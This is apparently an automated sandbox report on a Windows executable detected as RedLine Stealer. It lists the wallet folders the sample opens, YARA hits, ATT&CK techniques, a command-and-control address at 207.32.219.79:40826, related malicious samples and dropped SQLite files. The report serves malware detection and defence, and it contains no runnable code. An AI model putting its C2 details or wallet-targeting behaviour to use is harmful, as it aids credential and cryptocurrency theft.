Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\2BuZaUic3i.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: 2BuZaUic3i.exe, type: SAMPLE
Source: Yara match	File source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2BuZaUic3i.exe PID: 2104, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2BuZaUic3i.exe, type: SAMPLE
Source: Yara match	File source: 0.0.2BuZaUic3i.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1660305995.0000000000C02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2BuZaUic3i.exe PID: 2104, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
2BuZaUic3i.exe	96%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
2BuZaUic3i.exe	100%	Avira	HEUR/AGEN.1305500
2BuZaUic3i.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ipinfo.io/ip%appdata%	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnect	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	URL Reputation	safe
http://tempuri.org/0	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://207.32.219.79:40826t-dq	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnviron	0%	Avira URL Cloud	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip	0%	Avira URL Cloud	safe
https://api.ip.sb	0%	Avira URL Cloud	safe
207.32.219.79:40826	0%	Avira URL Cloud	safe
http://207.32.219.79:40826/	0%	Avira URL Cloud	safe
http://207.32.219.79:4	0%	Avira URL Cloud	safe
http://207.32.219.79:40826	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
207.32.219.79:40826	true	Avira URL Cloud: safe	unknown
http://207.32.219.79:40826/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	2BuZaUic3i.exe	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.datacontract.org/2004/07/	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	2BuZaUic3i.exe	false	URL Reputation: safe	unknown
https://api.ip.sb	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F70000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F70000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnviron	2BuZaUic3i.exe, 00000000.00000002.1785668854.000000000337E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	2BuZaUic3i.exe, 00000000.00000002.1785668854.000000000337E000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://207.32.219.79:40826t-dq	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.00000000030B3000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F97000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	2BuZaUic3i.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://207.32.219.79:40826	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000003071000.00000004.00000800.00020000.00000000.sdmp, 2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://207.32.219.79:4	2BuZaUic3i.exe, 00000000.00000002.1785668854.000000000337E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/0	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp7491.tmp.0.dr, tmpACBB.tmp.0.dr, tmp7492.tmp.0.dr, tmpACFF.tmp.0.dr, tmpACDE.tmp.0.dr, tmpACDD.tmp.0.dr, tmp7480.tmp.0.dr, tmpACAA.tmp.0.dr, tmpACCD.tmp.0.dr, tmp7470.tmp.0.dr, tmpACEF.tmp.0.dr, tmpACBC.tmp.0.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	2BuZaUic3i.exe, 00000000.00000002.1785668854.0000000002F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
207.32.219.79	unknown	United States		14315	1GSERVERSUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502265
Start date and time:	2024-08-31 22:01:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2BuZaUic3i.exe renamed because original name is a hash value
Original Sample Name:	9FE5F95D5355185B04B8E78D1C8CEBE4.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/47@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 23 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 104.26.13.31, 172.67.75.172, 13.85.23.86, 93.184.221.240
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2BuZaUic3i.exe

Simulations

Behavior and APIs

Time	Type	Description
16:02:05	API Interceptor	41x Sleep call for process: 2BuZaUic3i.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
207.32.219.79	EpCrfIUgyF.exe	Get hash	malicious	RedLine	Browse	207.32.219.79:40826/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1GSERVERSUS	EpCrfIUgyF.exe	Get hash	malicious	RedLine	Browse	207.32.219.79
	04cde81ac938706771fa9fe936ee8f79fe7e079973098.exe	Get hash	malicious	RedLine, Xmrig	Browse	142.202.242.45
	Facturation.exe	Get hash	malicious	Doenerium	Browse	104.251.123.67
	SpelQ3Xvt7.exe	Get hash	malicious	AveMaria, UACMe	Browse	142.202.242.177
	http://khalidhost.loseyourip.com:777/dddd.mp4	Get hash	malicious	Unknown	Browse	207.32.217.25
	http://khalidhost.loseyourip.com:777/dddd.mp4	Get hash	malicious	Unknown	Browse	207.32.217.25
	arm4-20240706-0012.elf	Get hash	malicious	Mirai	Browse	207.32.216.16
	08OyZEWGbf.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43
	D9yWJTtsiS.exe	Get hash	malicious	Amadey, Xmrig	Browse	142.202.242.45
	zTMEFv0Dh3.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHxLHG1qHjHKd2:vq5qxqdqolqztYqh3oPtI6mq7qoT5RL9
MD5:	3D3B62B70DF65C6D62C6B068D7256706
SHA1:	03CCEE715BD3299367368426E025742C869155B0
SHA-256:	7373A8D46BC57A95D1C80A2FCD34FF0238B7A0981147FBEA9C28F32F46C653BB
SHA-512:	E259F86B1107BCBFA7F72AB3D199F13AF10644848398DD02D22012B626F353A9EE6865A16E5EA39A7657727D3DA6384F7EA424D8ADEA8F4162C106E90737D559
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp1C61.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1C82.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1C92.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CA3.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CB4.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CC4.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5394.tmp

Download File

Process:	C:\Users\user\Desktop\2BuZaUic3i.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
